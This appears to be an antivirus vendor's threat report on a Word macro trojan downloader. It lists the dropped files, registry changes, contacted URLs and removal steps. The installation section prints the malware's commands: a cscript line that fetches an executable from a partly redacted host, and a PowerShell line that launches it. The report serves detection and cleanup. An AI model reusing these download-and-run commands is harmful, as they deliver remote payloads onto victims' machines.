Trojan.W97M.POWLOAD.TIOIBEKW
TrojanDropper:O97M/Powdow!MTB (Microsoft); W97M/Agent.f (McAfee)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- %System Root%\1903Data\Personal2.cmd
- cscript //nologo %System Root%\1903Data\LpkWers1.vbs http://{BLOCKED}ura.com/QW8.exe %System Root%\1903Data\LMNBU5.exe
- powershell -C Sleep -s 7;Saps '%System Root%\1903Data\LMNBU5.exe'
- TRACERT
- NETSTAT
- %System Root%\1903Data\LMNBU5.exe
It creates the following folders:
- %User Profile%\Application Data\Microsoft\Forms
- %System Root%\1903Data
(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)
Other System Modifications
This Trojan adds the following registry entries:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\
Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
(Default) = ""
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\RFC1156Agent\CurrentVersion\
Parameters
TrapPollTimeMilliSecs = "15000"
Dropping Routine
This Trojan drops the following files:
- %System Root%\1903Data\Personal2.cmd
- %System Root%\1903Data\LMNBU5.exe
- %User Profile%\Application Data\Microsoft\Forms\WINWORD.box
- %System Root%\1903Data\LpkWers1.vbs
- {malware file path and name}
(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
Other Details
This Trojan connects to the following possibly malicious URL:
- http://{BLOCKED}ura.com/QW8.exe
- http://{BLOCKED}ura.com/cgi-sys/suspendedpage.cgi
- http://2.{BLOCKED}1.168.192.in-addr.arpa
This report is generated via an automated analysis system.
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Identify and terminate files detected as Trojan.W97M.POWLOAD.TIOIBEKW
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 3
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}
- (Default) = ""
- In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters
- TrapPollTimeMilliSecs = "15000"
Step 4
Search and delete these components
- %System Root%\1903Data\Personal2.cmd
- %System Root%\1903Data\LMNBU5.exe
- %User Profile%\Application Data\Microsoft\Forms\WINWORD.box
- %System Root%\1903Data\LpkWers1.vbs
- {malware file path and name}
Step 5
Search and delete these folders
- %User Profile%\Application Data\Microsoft\Forms
- %System Root%\1903Data
Step 6
Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.TIOIBEKW. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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